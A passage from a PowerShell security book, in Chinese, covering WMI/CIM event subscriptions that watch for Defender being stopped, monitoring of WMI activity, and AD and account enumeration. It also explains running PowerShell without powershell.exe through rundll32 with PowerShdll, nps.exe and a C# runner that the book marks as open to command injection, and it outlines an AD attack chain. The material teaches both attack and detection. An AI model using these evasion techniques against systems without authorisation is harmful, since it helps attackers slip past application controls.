内在事件与 WMI/CIM 本身相关,例如创建新的 CIM 实例或 WMI/CIM 基础设施发生变化时。这些变化可以触发内在事件。

您可以使用(Get-CimClass -ClassName "*Event").CimSystemProperties | Where-Object {$_.ClassName -like "__*"}找到内在事件类的示例,如下截图所示:

图 5.32 – 查询内在事件类

图 5.32 – 查询内在事件类

在 WMI/CIM 中的一切都表示为对象,因此每个事件也表示为对象,并且有自己的类。这种行为类似于外在 WMI 事件。

外在事件

外在事件是由 WMI 提供程序响应系统状态变化而生成的,例如安装新软件或修改系统设置。例如,如果操作系统重新启动或更改注册表键,则提供程序可以使用这些事件生成 WMI/CIM 事件。

使用(Get-CimClass).CimSystemProperties | Where-Object {($_.ClassName -notlike "__*") -and (($_.ClassName -like "*Event") -or ($_.ClassName -like "*Trace"))}可以找到外在事件类的示例,如下截图所示:

图 5.33 – 查询外在事件类

图 5.33 – 查询外在事件类

这样的查询有助于发现可用于监视系统变化的事件类。例如,您可以使用这些类创建一个脚本,在触发感兴趣的事件时创建一个新的事件日志条目。

事件消费者

为了支持事件通知,事件消费者可以在提供程序内使用,将物理消费者映射到逻辑消费者。消费者定义了如果发生某种变化应触发什么操作。

事件订阅

监控 WMI/CIM 事件可以帮助你作为蓝队成员检测操作系统中发生的变化,同时也能帮助基于某些行为进行攻击的红队成员。

当第一次处理 WMI/CIM 事件时,可能会感到有些不知所措。为了帮助你更好地理解,我们首先以简化的方式查看基本步骤。

  1. 创建 WMI 查询语言(WQL)查询:与查询 WMI/CIM 数据类似,你还需要为事件订阅创建查询。

  2. 创建事件过滤器:一旦你创建了一个 WQL 查询,就需要创建一个过滤器,然后将查询注册到 CIM 中。

  3. 创建消费者:消费者定义了当事件过滤器返回类发生变化时应采取的行动。

  4. 将事件过滤器绑定到消费者:通过这最后一步,我们使 WMI/CIM 事件订阅生效。执行这一步骤后,每次事件过滤器收到匹配时,消费者将会收到通知。

创建 WQL 查询

在之前的部分中,你已经了解了不同目的的预定义系统类。当涉及到 WMI/CIM 事件时,以下四个系统类可能对你最有兴趣:

  • InstanceCreationEvent:检查是否创建了新实例。例如,你可以检查是否创建了新进程。

  • InstanceDeletionEvent:检查是否删除了实例。例如,你可以检查进程是否被终止。

  • InstanceModificationEvent:检查实例是否被修改。例如,你可以检查注册表键是否被修改。

  • InstanceOperationEvent:检查所有三种类型的事件——实例是否被创建、删除或修改。

以下是一个 WQL 事件订阅查询的例子。如果 Windows 服务被终止,它将被触发:

Select * from __InstanceDeletionEvent within 15 where TargetInstance ISA 'Win32_Service'

使用这个例子,你可以简要理解这样的查询是什么样的:

图 5.34 – WQL 事件订阅查询的结构

图 5.34 – WQL 事件订阅查询的结构

第一部分指定了查询的对象——在这种情况下是InstanceDeletionEvents。检查周期指定了此查询的轮询间隔(以秒为单位),由关键字within指示。在这个例子中,查询每 15 秒运行一次。

在事件订阅查询中,条件不是必须的,但它们可以帮助你指定和缩小结果范围。条件通过where表示,类似于常规的 WQL 或 SQL 查询。

也可以指定多个条件,这些条件通过使用ANDOR与查询关联。例如,如果我们想检查并处理微软防御者被终止的事件,查询将如下所示:

Select * from __InstanceDeletionEvent within 15 where TargetInstance ISA 'Win32_Service' AND Targetinstance.name='windefend'

总结来说,在事件订阅查询中使用条件可以帮助缩小结果范围,并使你能够对特定事件采取有针对性的行动。

创建事件过滤器

现在是创建我们的事件筛选器的时候了。这可以通过使用New-CimInstance cmdlet 来完成,创建一个新的__EventFilter CIM 类实例。

让我们使用刚刚创建的 WQL 查询,并使用它创建一个事件筛选器,如下例所示:

$query = "Select * from __InstanceDeletionEvent within 15 where TargetInstance ISA 'Win32_Service' AND Targetinstance.name='windefend'"
$CimEventDefenderFilter = @{
    Name = "MicrosoftDefenderFilter";
    Query = $query;
    QueryLanguage = "WQL";
    EventNamespace = "\root\cimv2";
};
$CimEventDefenderInstance=New-CimInstance -ClassName __EventFilter -Namespace "Root/SubScription" -Property $CimEventDefenderFilter

要创建事件筛选器,我们需要定义属性,这在$CimEventDefenderFilter哈希表中完成。通过Name参数,实例被赋予MicrosoftDefenderFilter的名称。之前创建的查询被分配给$query变量,然后传递给$CimEventDefenderFilter属性的Query参数。QueryLanguage参数设置为WQL,表示查询使用的是 WMI 查询语言。最后,EventNamespace参数指定事件筛选器将被注册的命名空间,在此例中为\root\cimv2

最后,在Root/SubScription命名空间中创建一个新的 CIM 实例,使用__EventFilter类,表示我们正在创建一个事件筛选器。此实例的属性设置为$CimEventDefenderFilter变量中的哈希表值。

你可以使用以下命令验证筛选器是否已创建:

> Get-CimInstance -Namespace root/subscription -ClassName __EventFilter

以下截图显示了事件筛选器成功创建后的样子:

图 5.35 – 验证筛选器是否已创建

图 5.35 – 验证筛选器是否已创建

接下来的步骤是,我们需要创建一个消费者。

创建消费者

在 WMI/CIM 事件订阅中,消费者用于定义当事件筛选器匹配时应该采取的操作。提供了几种类型的消费者,每种都有自己的属性:

  • ActiveScriptEventConsumer:当事件发生时,此消费者执行一个脚本。

  • CommandLineEventConsumer:当事件发生时,此消费者启动一个进程。请验证.exe文件的访问控制列表ACL),以防止攻击者用恶意文件替换.exe文件。

  • LogFileEventConsumer:当事件发生时,此消费者会创建一个文本日志。

  • NTEventLogEventConsumer:当事件发生时,此消费者将事件记录到 Windows 事件日志中。

  • SMTPEventConsumer:当事件发生时,此消费者会发送一封电子邮件。

每个消费者都有自己的属性,因此在定义它们之前,请务必检查其属性。

以下示例演示了如何配置一个消费者,每次 Microsoft Defender 服务终止时记录事件:

$Message = @("%Targetinstance.Name% has been terminated on $env:computername. Current Status: %TargetInstance.Status%")
$CimDefenderConsumerProperties = @{
    Name = 'Windows Defender Service (windefend) was terminated';
    MachineName = $env:computername;
    EventID = [uint32]12345;
    EventType = [uint32]2;
    SourceName = 'Application';
    NumberOfInsertionStrings = [uint32]1;
    InsertionStringTemplates = $Message
    Category= [uint16]123;
}
$CimDefenderEventConsumer = New-CimInstance -ClassName NTEventLogEventConsumer -Namespace 'ROOT/subscription' -Property $CimDefenderConsumerProperties

$Message 变量定义了事件日志消息的内容,其中包括已终止服务的名称和状态。$CimDefenderConsumerProperties 变量定义了 NTEventLogEventConsumer 的属性,如机器名(MachineName)、事件 ID(EventID)、事件类型(EventType)、事件应记录的事件日志名称(SourceName = 'Application')以及事件本身的消息(InsertionStringTemplates)。NumberOfInsertionStrings 指定将在事件消息中使用的插入字符串数量。

在这种情况下,EventType 指定应记录一个警告(2)。以下是所有可能事件类型的概览:

  • 0:成功事件

  • 1:错误事件

  • 2:警告事件

  • 4:信息事件

  • 8:成功审核类型

  • 16:失败审核类型

最后,New-CimInstance cmdlet 创建消费者。

使用 Get-CimInstance cmdlet 验证它是否已成功创建:

> Get-CimInstance -Namespace Root/Subscription -ClassName SMTPEventConsumer

将事件筛选器绑定到消费者

最后,我们将事件筛选器绑定到消费者,以使 WMI/CIM 事件订阅生效。将事件筛选器绑定到消费者可以确保每次事件筛选器收到匹配时,消费者都会收到通知。

创建事件筛选器和消费者后,最后一步是将它们绑定在一起。这可以通过创建 __FilterToConsumerBinding 类的实例来完成。此类定义了事件筛选器与消费者之间的关系。

以下示例演示了如何在前一个示例中创建的事件筛选器和 SMTP 事件消费者之间创建绑定实例:

$CimDefenderBindingProperties=@{
    Filter = [Ref]$CimEventDefenderInstance
    Consumer = [Ref]$CimDefenderEventConsumer
}
$CimDefenderBinding = New-CimInstance -ClassName __FilterToConsumerBinding -Namespace "root/subscription" -Property $CimDefenderBindingProperties

在此示例中,我们使用New-CimInstance cmdlet 创建 __FilterToConsumerBinding 类的新实例。我们将事件筛选器和消费者实例作为引用传递给绑定实例的 FilterConsumer 属性。

最后,我们可以使用 Get-CimInstance cmdlet 验证绑定是否创建成功,如下所示:

> Get-CimInstance -Namespace root/Subscription -ClassName __FilterToConsumerBinding

这将返回 root/subscription 命名空间中所有 __FilterToConsumerBinding 类的实例,包括我们刚刚创建的实例。

删除 CIM 实例

如果您想删除创建的任何 CIM 实例,可以使用 Remove-CimInstance cmdlet:

> Get-CimInstance -Namespace 'ROOT/subscription' -ClassName __EventFilter -Filter "name='MicrosoftDefenderFilter'" | Remove-CimInstance

上述代码段移除我们之前创建的事件筛选器 CIM 实例,'MicrosoftDefenderFilter'

以下命令移除名为 'Windows Defender Service (windefend)** 已终止'** 的事件日志消费者 CIM 实例:

> Get-CimInstance -Namespace 'ROOT/subscription' -ClassName NTEventLogEventConsumer -Filter "name='Windows Defender Service (windefend) was terminated'" | Remove-CimInstance

最后但同样重要的是,要删除负责将事件筛选器绑定到消费者的 CIM 实例,请运行以下命令:

> Get-CimInstance -Namespace 'ROOT/subscription' -ClassName __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='MicrosoftDefenderFilter'""" | Remove-CimInstance

监控 WMI/CIM 事件订阅

您可以使用 Windows 事件日志和 Sysmon 来检测和监控 WMI/CIM 事件相关的活动。

使用 Windows 事件日志时,你可以使用操作性的 WMI 活动日志来跟踪 WMI/CIM 相关的事件:

  • 完整 名称Microsoft-Windows-WMI-Activity/Operational

  • 日志 路径%SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

  • UI 中的路径应用和服务| **Microsoft** | **Windows** |WMI 活动 | 操作性

此事件日志中与 PowerShell 安全日志相关的 最有趣的事件 ID 如下:

  • 事件 ID 5857:提供程序以结果代码启动。此事件显示提供程序加载情况。

  • 事件 ID 5858:错误消息。此事件通常在查询错误时触发。

  • 事件 ID 5859:此事件表示启动了一个永久事件过滤器。

  • 事件 ID 5860:注册或启动了一个临时事件消费者。

  • 事件 ID 5861:注册了一个永久事件消费者绑定。

一些 WMI 活动事件可能会产生大量噪音,因此请根据你的环境和需求进行相应的过滤。事件 ID 585958605861 特别有助于帮助你发现恶意活动。

如果你想了解更多关于使用 Windows 事件日志跟踪 WMI 活动的内容,可以参考 Carlos Perez 撰写的以下博客文章:www.darkoperator.com/blog/2017/10/14/basics-of-tracking-wmi-activity

Sysmon 提供了监控每当事件过滤器或消费者被注册或消费者绑定到过滤器时的功能:

  • 事件 ID 19:当注册 WMI 事件过滤器时,记录 WMI 命名空间、过滤器名称和过滤器表达式。恶意软件可以利用这种方法执行代码。

  • 事件 ID 20:记录 WMI 消费者的注册信息,包括消费者名称、日志和目标。

  • 事件 ID 21:当消费者绑定到过滤器时,记录消费者名称和过滤器路径。这有助于识别哪个消费者正在接收来自特定过滤器的事件。

Sysmon 的噪音比 Windows WMI 活动事件日志少一些,但你需要先在你想要监控的系统上安装它,因此它既有优点也有缺点。

对于 WMI 活动的监控 总体来说——无论你使用 Windows 事件日志还是 Sysmon——都要查找新的事件过滤器和绑定被注册的情况,并过滤掉已知的好过滤器和绑定。

监控 wmic.exe 的使用——特别是查找 'process call create' 参数。观察 winrm.exe 的使用是否有横向移动的迹象,并调查是否使用 mofcomp.exe 编译了新的提供程序。查找在异常目录中创建的 MOF 文件。监控 WmiPrvse.exe 的子进程,因为它们可能表明通过 WMI 实例化了进程。

操作 CIM 实例

CIM 实例提供了一种标准化的方式来表示系统中的托管资源,允许用户以统一的方式与这些资源进行交互。但 CIM 实例也可以被操作。在这种情况下,可以使用 Set-CimInstance cmdlet 修改一个或多个 CIM 实例的属性。

并不是所有的 CIM 实例都可以操作,它们需要是可写的。要了解哪些属性是可写的,可以使用以下脚本,该脚本由 Trevor Sullivan 提供灵感:

$WritableCimProperties = foreach ($Class in Get-CimClass) {
    foreach ($Property in $Class.CimClassProperties) {
        if ($Property.Qualifiers.Name -contains 'Write') {
            [PSCustomObject]@{
                CimClassName = $Class.CimClassName
                PropertyName = $Property.Name
                Write = $true
            }
        }
    }
}
$WritableCimProperties

一旦找到一个可以写入的属性并且你希望操作它,就可以使用 Set-CimInstance 来修改它。

以下示例演示了如何使用 CIM 通过 PowerShell 启用禁用的用户帐户:

$UserAccount = Get-CimInstance -ClassName Win32_UserAccount -Filter "Name LIKE 'vicvega%'"
$UserAccount.Disabled = $false
Set-CimInstance -InputObject $UserAccount

首先,你可以使用 Get-CimInstance cmdlet 来检索与指定筛选条件匹配的 Win32_UserAccount 类的实例。在此示例中,我们正在查找用户名以 vicvega 开头的用户帐户。

然后,你可以修改检索到的用户帐户实例的 Disabled 属性,将其设置为 $false。最后,你可以使用 Set-CimInstance cmdlet 将更新后的用户帐户实例保存到 CIM 仓库中。

使用以下命令验证更新后的用户帐户实例是否成功保存:

> (Get-CimInstance -ClassName Win32_UserAccount -Filter "Name LIKE 'vicvega%'").Disabled

枚举

WMI 使用 SQL 的一个子集,称为 WMI 查询语言(WQL)。WQL 仅支持一部分命令,相关文档请参见:docs.microsoft.com/en-us/windows/win32/wmisdk/wql-sql-for-wmi

查询有不同的类型——数据查询、事件查询和模式查询。在本书中,我们主要关注最常用的类型:数据查询。

如果你想了解更多其他查询类型,建议参考官方文档:docs.microsoft.com/en-us/windows/win32/wmisdk/querying-with-wql

数据查询仅用于检索数据,例如类实例或数据关联信息。

查询类时,你可以使用 WQL 或通过类名查询该类。例如,要查询名称为 Administrators 的组,你可以查询该类,然后使用 PowerShell 进行筛选,或者使用 WQL 进行查询并筛选。

这是一个查询类并使用 PowerShell 进行筛选的示例:

> Get-CimInstance -ClassName win32_group -filter "name='Administrators'"

这展示了如何使用 WQL 进行查询和筛选:

> Get-CimInstance -Query "select * from win32_group where name = 'Administrators'"

两种方法将产生相同的输出:

图 5.36 – 使用不同方法进行查询

图 5.36 – 使用不同方法进行查询

你知道吗?

如果有机会,你应该始终使用 WQL 预筛选,因为这会提高查询的性能。如果先查询然后使用 PowerShell 进行筛选,计算结果会更慢。

在本节中,我将为您提供一些使用 CIM/WMI 的枚举示例。您可以根据需要调整它们,或改进现有的检测方法。

使用以下命令枚举进程:

> Get-CimInstance -ClassName win32_process

使用 Get-CimInstance 不仅可以检索进程信息,还可以使用 WMI 显示默认 .NET 输出对象中不可用的 CommandLine 属性:

> Get-CimInstance -ClassName win32_process | Select-Object ProcessId, Name, CommandLine

使用以下命令枚举现有的用户账户:

> Get-CimInstance -Query "select * from win32_useraccount" | Select-Object -Property *

通过使用 WMI 枚举用户,您不仅可以枚举本地用户,还可以在执行一个命令时枚举域用户。

WMI 还为红队人员提供了巨大优势:如果您仅使用 PowerShell,您需要安装 ActiveDirectory 模块才能查询域用户。而使用 WMI,您只需在执行命令的计算机加入域的情况下,简单枚举所有域用户。

除了其他属性,Get-CimInstance 还返回 AccountType 属性,指示该账户是 普通账户 (512)、工作站账户 (4096),还是例如备份域控制器的账户(服务器信任账户8192)。数字 256 表示它是一个 临时重复账户,而数字 2048 表示一个 跨域 信任账户

您可以通过以下方式枚举本地组和组成员:

> Get-CimInstance -Query "select * from win32_group"
> Get-CimInstance -Query "select * from win32_groupuser"

同样,类似于 win32_useraccount 表,win32_groupwin32_groupuser 表示本地和域组。

WMI 和 CIM 理解不同实例之间的关系,因此您甚至可以结合表格,找出哪些账户是本地管理员的成员。Get-CimAssociatedInstance cmdlet 允许您获取与 -InputObject 相关的对象:

> $group = Get-CimInstance -ClassName win32_group -filter "name='Administrators'"
> Get-CimAssociatedInstance -InputObject $group -ResultClassName Win32_UserAccount

要获取有关当前安装的修补程序和更新的更多信息,您可以查询 win32_quickfixengineering 表:

> Get-CimInstance -Query "select * from win32_quickfixengineering"

通过查询 Win32_StartupCommand 实例,找出哪些进程、程序或脚本配置为在操作系统启动时运行:

> Get-CimInstance -Query "select * from Win32_StartupCommand"

WMI/CIM 数据库位于哪里?

顺便提一下,如果您一直好奇 WMI 实际上位于 Windows 系统的哪里,WMI 数据库本身可以在 $Env:windir\System32\wbem\Repository 路径下找到。

以下截图显示了此文件夹的上下文。

图 5.37 – WMI 数据库

图 5.37 – WMI 数据库

在这里,您通常可以找到以下文件:

  • INDEX.BTR(“二叉树索引”):

所有已导入 OBJECTS.DATA 的管理对象的索引。

  • OBJECTS.DATA

所有由 WMI 管理的对象。

  • MAPPING[1-3].MAP

关联 INDEX.BTWOBJECTS.DATA 之间的数据。

既然我们已经讨论了出于安全目的监控和操控 WMI 的重要性,接下来我们将讨论另一个话题:虽然有些人认为 PowerShell 是一个安全威胁,并主张阻止powershell.exe,攻击者仍然可以找到方法来运行 PowerShell,即使powershell.exe被阻止执行。在接下来的部分,我们将探讨如何实现这一点。

在没有 powershell.exe 的情况下运行 PowerShell

要执行 PowerShell 命令,通常需要先启动powershell.exe。但可能会有一些情况,传统方式下无法或不允许运行 PowerShell。

在这些情况下,PowerShell 仍然可以通过其他方式运行,比如通过Windows Script HostWSH)、WMI、.NET 框架等。

使用“living off the land”二进制文件调用程序集函数

LOLbin一词是living off the land binaries的缩写,最早由恶意软件研究人员 Christopher Campbell 和 Matt Graeber 在 2013 年 DerbyCon 3 大会上提出。在关于如何称呼那些可以被滥用来运行恶意代码的二进制文件的 Twitter 讨论中,LOLBins一词首次出现,经过一次(高度科学的)Twitter 投票,LOLBinsLOLScripts正式成为社区中常用的术语。

LOLbin 指的是合法的、预先安装的系统二进制文件或应用程序,攻击者可以利用它们在被攻击的系统上执行恶意活动。攻击者将这些 LOLbin 作为其战术、技巧和程序TTPs)的一部分,用来躲避安全解决方案的检测,因为这些二进制文件通常被认为是安全的,且被允许在系统上执行。

基本上,PowerShell 也被视为一个 LOLbin,因为 PowerShell 被作为合法的管理员工具添加到系统中。不过幸运的是,对于蓝队成员来说,PowerShell 提供了很多可能性,不仅可以监控,还可以限制仅限于预配置的用例以及用户。其他可以作为 LOLbin 的合法管理员工具示例包括cmdWMIregsvr32.exerundll32.exemshta.execertutil.exewmic.exemsbuild.exeinstallutil.exeregsvcs.exeregasm.exePSExec.exe等。

PSExec.exe是 LOLbin 的一个典型例子:尽管许多管理员仍在使用它执行管理任务,但攻击者也发现这个工具非常有用,特别是在传递哈希和横向移动方面,攻击者非常喜欢这个工具。

有时候,LOLbin 也仅仅用于混淆,以一种防御者可能忽视的方式调用操作——例如,rundll.exe;该可执行文件可以加载并运行 32 位 DLL 文件并执行函数。请注意,它只能执行那些专门为rundll32.exe编写的函数。

如果你知道如何使用 C/C++/C# 编写 DLL,rundll32.exe 可以运行自定义的 DLL——攻击者也可以利用这个能力运行自己的 DLL 并绕过软件限制。

由于用 C/C++/C# 编写自己的 DLL 足以写成一本书,因此本书不会详细介绍如何创建 DLL。在下一个示例中,我们将使用一个已经存在的 DLL,PowerShdll.dll

PowerShdll.dll是由 GitHub 用户 p3nt4 编写并发布的:github.com/p3nt4/PowerShdll

下载后,您可以直接使用rundll32或其他由PowerShdll支持的 LOLbin,从cmd执行以下命令:

> rundll32 PowerShdll,main Get-Process

看,这个Get-Process cmdlet 是通过cmd执行的,而完全没有接触到powershell.exe,如以下截图所示:

图 5.38 – 通过 PowerShdll 和 rundll32 从 cmd 执行 PowerShell 命令

图 5.38 – 通过 PowerShdll 和 rundll32 从 cmd 执行 PowerShell 命令

还有一些类似于PowerShdll的其他项目,可以被红队人员或攻击者使用,例如NoPowerShellPowerLessShellp0wnedShell等。

二进制可执行文件

还有一些项目,例如NotPowerShellnps.exe),它们允许你通过自己的编译二进制文件运行 PowerShell:

> nps.exe <powershell single command>

你可以在 GitHub 上找到NoPowerShell项目:github.com/Ben0xA/nps

使用 C# 从 .NET Framework 执行 PowerShell

运行 PowerShell 而不使用powershell.exe的一种方法是使用 .NET Framework。你可以通过在 Visual Studio 中创建一个 C# 控制台应用程序来实现,代码可以在本书的 GitHub 仓库中找到:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter05/RunPoSh

在这个示例中,我们使用System.Management.Automation命名空间中的 PowerShell 类,您可以在此处找到其定义:learn.microsoft.com/en-us/dotnet/api/system.management.automation.powershell

要在没有错误的情况下编译此程序,你需要在 Visual Studio 中将System.Management.Automation.dll作为引用添加:

  1. 右键点击解决方案资源管理器中的依赖项项目,选择添加 项目引用

  2. 引用管理器中,选择浏览并导航到包含System.Management.Automation.dll程序集的文件夹。默认位置为C:\Program Files (****x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0

  3. 选择程序集并点击添加

  4. 保存并构建你的项目。

新编译的代码允许你在不执行powershell.exe的情况下执行 PowerShell 命令或脚本,并仅依赖 PowerShell 类来执行 PowerShell 命令。这个示例中的 C# 代码接受所有命令行参数,将它们连接成一个字符串,并将该字符串作为 PowerShell 脚本执行。然后程序调用 PowerShell 脚本并捕获输出,最后将输出打印到控制台。

RunPosh.exe - 可能的命令注入风险!

请注意,RunPosh.exe 易受到简单的命令注入攻击。它不应在任何生产环境中使用,仅用于演示如何在不运行powershell.exe的情况下执行 PowerShell。

在编译RunPosh.exe后,你可以例如打开一个cmd命令行,并执行RunPoSh.exe Get-NetAdapter,以使用 PowerShell 获取所有网络适配器。

图 5.39 – 在不使用 powershell.exe 的情况下执行 PowerShell 命令

图 5.39 – 在不使用 powershell.exe 的情况下执行 PowerShell 命令

有许多其他示例展示了如何在不依赖于powershell.exe的情况下执行 PowerShell。本章讨论的只是其中的一些,目的是让你理解实现这一目标的不同方法。

摘要

在本章中,我们探讨了 PowerShell 如何访问各种系统和 API 资源,如 Windows 注册表、Windows API(包括 COM 和 .NET 框架)以及 WMI。我们还学习了如何在不使用powershell.exe可执行文件的情况下运行 PowerShell。

本章提供了许多示例,展示了红队成员或对手如何利用这些 API 和资源。它还旨在帮助蓝队成员洞察对手的行为,并学习如何利用 PowerShell 通过 CIM 事件来监控和检测可疑行为。

到本章结束时,你应该对如何使用 PowerShell 与系统资源和 API 交互有了更深入的理解,并了解如何将其用于进攻性和防御性目的。

当我们谈论 PowerShell 安全时,身份验证和身份扮演着重要角色。让我们在下一章从 PowerShell 角度看一下 Active Directory 安全。

进一步阅读

如果你想深入探索本章提到的一些主题,可以参考以下资源:

API

CIM/WMI

COM 劫持

.NET 框架:

运行 PowerShell 不使用 powershell.exe

你还可以在 GitHub 仓库中找到本章提到的所有链接,链接位于第五章 – 无需手动输入每个链接:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Links.md

第六章:活动目录 - 攻击与缓解

当我们谈论 PowerShell 安全时,一个重要因素是理解身份的重要性。在组织遭受攻击时,被盗取和滥用的不是 PowerShell,而是身份,用于组织内部的横向移动,以窃取更多身份并尽可能找到更多身份。

对手的目标是找到特权身份,例如域管理员或共享本地管理员凭据,以控制整个环境。

而且,如果我们谈论身份,其中最重要的资产之一就是活动目录,这是由微软开发的目录服务,用于提供身份验证和管理设备配置。在大多数组织中,它是核心,所有身份都被保留和管理在这里。

因此,每当我们验证用户,远程连接或完全使用 PowerShell 时,大多数情况下都涉及公司活动目录中的用户帐户。

在我看来,每个对 PowerShell 安全感兴趣的安全专业人员也应该对身份验证,身份以及最重要的活动目录有一些扎实的知识。这就是我们将在本章中探讨的内容。我们将讨论许多理论内容,但也调查红队和蓝队如何使用 PowerShell。

当然,涉及活动目录安全时还有很多内容 - 您可以仅使用活动目录安全内容编写一本完整的书。在本章中,我们将讨论有关 PowerShell 安全最重要的内容,包括以下主题:

  • 从安全角度介绍活动目录

  • 枚举和滥用用户帐户

  • 特权帐户和组

  • 访问权限和枚举 ACL

  • 身份验证协议(局域网管理器,NTLM 和 Kerberos)

  • 攻击活动目录身份验证

  • 凭证窃取和横向移动

  • 微软基线和安全合规工具包

技术要求

要充分利用本章内容,请确保您具备以下条件:

  • PowerShell 7.3 及以上

  • 已安装 Visual Studio Code

  • 访问第六章的 GitHub 存储库:

github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter06

从安全角度介绍活动目录

活动目录AD)是一个目录服务,您可以用来管理基于 Windows 的网络。AD 于 2000 年发布,迅速成为企业身份管理的标准。

使用 AD,您可以使用域和组织单位来安排计算机,服务器和连接的网络设备。您可以在层次结构中对其进行结构化,并在企业林中使用域来逻辑上将不同的子区域彼此分开。

企业管理员角色是域或林中最强大的角色。虽然域管理员对其管理的域拥有完全控制权,但企业管理员对林中所有域以及一些额外的林级属性都有完全控制权。因此,应非常明智和小心地分配这些角色。

大多数权限也可以委派给细分角色以确定谁可以做什么,因此,账户不一定需要分配域管理员角色以获得类似的权限。

如果您不定期审计委派的权限,很难了解谁被允许做什么。因此,在我生活中看到的许多环境中,当涉及分配权限时往往混乱不堪。这自然也使攻击者更容易通过滥用看似不起眼的账户来完成任务。

因此,如果您正在管理您的 AD,不仅要控制权限,还要保护 AD 本身。

AD 是组织中使用的大多数设备和账户的大集合。它不仅帮助攻击者枚举环境,还使用一个大数据库来保存所有账户的密码哈希:ntds.dit

因此,不仅需要保护好特权账户,还需要保护好特权工作站(如安全管理员工作站)和用于管理 AD 的服务器。

一旦对手进入环境(例如通过钓鱼攻击),他们就开始枚举环境以寻找有价值的目标。

攻击如何在企业环境中起作用

企业环境中的攻击通常都遵循相同的模式。

要访问企业环境,攻击者通常会发送钓鱼电子邮件或找到外部面向服务器的漏洞。如果公司遵循了保护其环境的最佳实践(例如将其 Web 服务器放置在非军事区DMZ)中,使用Web 应用程序防火墙WAF),并遵循安全编码的最佳实践),后者并不容易。

如果您对 WAF 不熟悉,它是一种专门设计用于保护 Web 应用程序的防火墙类型。它监视和过滤 Web 应用程序与互联网之间的流量,检测并阻止诸如 SQL 注入和跨站脚本XSS)攻击等攻击。通过使用 WAF,公司可以显著降低攻击者利用其 Web 应用程序漏洞的风险。

因此,最简单和最脆弱的环节是用户。攻击者向用户发送钓鱼电子邮件(步骤 1),其中包含恶意文档或指向恶意网页的链接。

如果用户打开电子邮件并允许恶意软件在其设备上执行(第 2 步),则恶意软件被执行,并且 - 根据恶意软件的开发方式 - 它开始停用常见的防御措施,如Antimalware Scan InterfaceAMSI)和AntivirusAV)服务。通常,它会尝试窃取设备上可用的所有凭证。我们稍后将在本章节中查看在凭证窃取部分中有哪些凭证 - 现在,只需想象凭证就像是一把钥匙卡;用户可以使用它们访问只有他们被允许访问的资源。

图 6.1 – 凭证窃取和横向移动

图 6.1 – 凭证窃取和横向移动

现在攻击者已经可以访问环境中的一台计算机,攻击者尝试在该计算机上建立持久性(例如,配置定时任务或创建自动启动项目)。然后,枚举开始以查找更多设备和有价值的身份。

对于攻击者来说,AD 是目标:在这个身份数据库中,对手可以窃取整个环境的所有身份和凭证。如果对手只是妥协了普通用户,他们还不能访问 AD 服务器以提取更多身份,因此他们需要通过窃取更多身份和妥协更多系统来找到最短路径。

有一些工具,例如BloodHound,可以自动化枚举阶段,以便在几秒钟内揭示通往 AD 管理员的最短路径。

接下来,更多计算机和服务器被入侵,并且攻击者进行横向移动,使用窃取的凭证(第 3 步)。

在目标计算机上,再次执行相同的步骤:禁用检测,建立持久性并提取当前的凭证。

此步骤重复进行,直到找到并提取有价值的高特权凭证(最好是域或企业管理员凭证)(第 4 步)。

带有这些高特权凭证,对手现在可以访问域控制器和 AD 数据库(第 5 步)并建立持久性。根据对手的目标,他们现在可以执行他们的计划 - 例如,发动勒索软件攻击来加密整个环境或者保持不被发现并持续提取信息。

ADSI、ADSI 加速器、LDAP 和 System.DirectoryServices 命名空间

在我们深入讨论枚举和 AD 攻击之前,让我们首先看一些您可以用来访问和操作诸如 AD 之类的目录服务的最重要工具。

其中一个工具被称为Active Directory Service InterfacesADSI),这是用于访问诸如 AD 之类的目录服务的基于COM(组件对象模型)的接口。

在使用 ADSI 时,开发人员可以使用 轻量级目录访问协议LDAP)过滤器来定义目录查询的搜索条件。LDAP 过滤器允许开发人员构建复杂的查询,这些查询可以根据多种条件(包括属性值、对象类等)返回特定的目录数据集。

要获取所有用户账户,LDAP 过滤器查询将是 (sAMAccountType=805306368)

如果你将useraccountcontrol属性与“密码永不过期”选项设置的所有常规账户结合使用,LDAP 过滤器将如下所示:(&(sAMAccountType=805306368)(useraccountcontrol=66048))

你可以参考这篇文章,获得有关 LDAP 过滤器的有用概述:social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx

ADSI 是访问 AD 中公开的分层命名空间的接口,类似于文件系统,表示目录中的对象,如用户、组和计算机及其属性。ADSI 可以通过多种编程语言(包括 C++、VBScript 和 PowerShell)使用,用于访问和操作目录服务。

System.DirectoryServices 命名空间是 .NET 框架的一部分,提供与目录服务(包括 AD)交互的类和方法。它是建立在 ADSI 之上的。System.DirectoryServices 包含用于搜索、修改和检索目录服务中的信息的类,以及用于管理安全性和身份验证的类。

使用 System.DirectoryServices 命名空间时,实际上是在底层使用 ADSI 技术。然而,你是通过一组更高层次的类和方法与 ADSI 进行交互,这些类和方法提供了一个更直观、更易用的接口,用于与目录服务进行交互。

通过使用 DirectoryServices,你可以轻松构建自己的函数,如下所示的示例:

$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(&(sAMAccountType=805306368)(givenName=Miriam))"
$searcher.FindAll() | ForEach-Object {
    Write-Output "Name: $($_.Properties['cn'])"
    Write-Output "Username: $($_.Properties['sAMAccountName'])"
    Write-Output "Email: $($_.Properties['mail'])"
    Write-Output ""
}

在这个示例中,我们首先创建一个新的 System.DirectoryServices.DirectorySearcher 类实例,该类用于搜索与 AD 中特定条件匹配的目录条目。

Filter 属性设置为一个字符串,使用 LDAP 语法定义搜索条件。在此情况下,过滤器指定搜索应返回所有具有给定名称Miriam的用户对象。最后,调用 FindAll() 方法执行搜索,并将结果传递给 ForEach-Object 循环,以显示找到的每个用户的信息。

在 PowerShell 中,System.DirectoryServices 命名空间可以通过创建表示目录条目的对象,并使用 DirectorySearcher 对象来查询 AD,查找符合特定条件的条目。

